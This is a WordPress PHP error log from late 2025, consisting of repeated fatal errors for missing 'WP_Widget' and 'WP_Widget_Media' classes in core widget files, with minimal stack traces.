[27-Oct-2025 18:27:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php on line 18
[27-Oct-2025 18:28:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php on line 17
[27-Oct-2025 18:30:00 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Oct-2025 18:31:02 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php on line 17
[27-Oct-2025 18:32:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php on line 17
[27-Oct-2025 18:33:09 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php on line 17
[27-Oct-2025 18:35:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php on line 17
[27-Oct-2025 18:38:10 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php on line 18
[27-Oct-2025 18:40:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php on line 17
[27-Oct-2025 18:41:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php on line 17
[27-Oct-2025 18:42:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php on line 17
[27-Oct-2025 18:43:17 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php on line 17
[27-Oct-2025 18:44:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php on line 17
[27-Oct-2025 18:48:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[27-Oct-2025 18:50:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php on line 17
[27-Oct-2025 18:52:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php on line 17
[27-Oct-2025 18:53:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php on line 17
[27-Oct-2025 18:54:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php on line 19
[27-Oct-2025 18:55:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php on line 17
[27-Oct-2025 18:58:59 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php on line 17
[27-Oct-2025 19:01:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php on line 18
[27-Oct-2025 19:03:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php on line 17
[27-Oct-2025 19:04:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php on line 17
[27-Oct-2025 19:15:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-comments.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-comments.php on line 17
[27-Oct-2025 21:45:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-video.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-video.php on line 18
[28-Oct-2025 02:41:22 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-gallery.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-gallery.php on line 18
[28-Oct-2025 03:04:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-tag-cloud.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-tag-cloud.php on line 17
[29-Oct-2025 10:38:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[29-Oct-2025 20:01:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-tag-cloud.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-tag-cloud.php on line 17
[29-Oct-2025 20:01:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php on line 17
[29-Oct-2025 20:01:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php on line 17
[29-Oct-2025 20:01:53 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php on line 17
[29-Oct-2025 20:02:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php on line 17
[29-Oct-2025 20:03:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php on line 18
[29-Oct-2025 20:03:06 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-gallery.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-gallery.php on line 18
[29-Oct-2025 20:05:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php on line 17
[29-Oct-2025 20:06:19 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-video.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-video.php on line 18
[29-Oct-2025 20:08:03 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php on line 17
[29-Oct-2025 20:08:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php on line 17
[29-Oct-2025 20:08:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php on line 17
[29-Oct-2025 20:08:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-comments.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-comments.php on line 17
[29-Oct-2025 20:08:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php on line 17
[29-Oct-2025 20:08:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[29-Oct-2025 20:08:14 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php on line 17
[29-Oct-2025 20:08:24 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php on line 19
[29-Oct-2025 20:08:25 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php on line 17
[29-Oct-2025 20:08:50 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php on line 17
[30-Oct-2025 00:36:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php on line 18
[30-Oct-2025 10:03:42 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[31-Oct-2025 13:06:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php on line 17
[31-Oct-2025 13:42:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-calendar.php on line 17
[31-Oct-2025 14:43:23 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php on line 19
[31-Oct-2025 15:40:13 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-gallery.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-gallery.php on line 18
[31-Oct-2025 15:47:11 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[31-Oct-2025 16:25:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php on line 17
[31-Oct-2025 17:59:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-comments.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-comments.php on line 17
[31-Oct-2025 18:03:41 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php on line 18
[31-Oct-2025 18:55:34 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php on line 17
[31-Oct-2025 19:51:05 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php on line 17
[31-Oct-2025 20:27:12 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php on line 17
[31-Oct-2025 20:43:37 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-custom-html.php on line 17
[31-Oct-2025 21:59:54 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php on line 17
[31-Oct-2025 22:31:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php on line 17
[31-Oct-2025 23:23:04 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php on line 18
[31-Oct-2025 23:27:28 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php on line 17
[31-Oct-2025 23:51:27 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-tag-cloud.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-tag-cloud.php on line 17
[01-Nov-2025 00:07:44 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-nav-menu-widget.php on line 17
[01-Nov-2025 00:08:47 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-video.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-video.php on line 18
[01-Nov-2025 03:16:01 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-categories.php on line 17
[01-Nov-2025 03:52:18 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Nov-2025 07:01:07 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php:19
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-meta.php on line 19
[01-Nov-2025 07:01:16 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media.php on line 17
[01-Nov-2025 07:01:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-block.php on line 17
[01-Nov-2025 07:02:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-search.php on line 17
[01-Nov-2025 07:05:52 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-pages.php on line 17
[01-Nov-2025 07:07:49 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-links.php on line 17
[01-Nov-2025 07:09:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-rss.php on line 17
[01-Nov-2025 07:10:45 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-recent-posts.php on line 17
[01-Nov-2025 07:12:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-text.php on line 17
[01-Nov-2025 07:13:46 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php:17
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-archives.php on line 17
[01-Nov-2025 07:16:56 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php:18
Stack trace:
#0 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-image.php on line 18
[01-Nov-2025 07:18:51 UTC] PHP Fatal error:  Uncaught Error: Class "WP_Widget_Media" not found in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/class-wp-widget-media-audio.php:18
Stack trace:
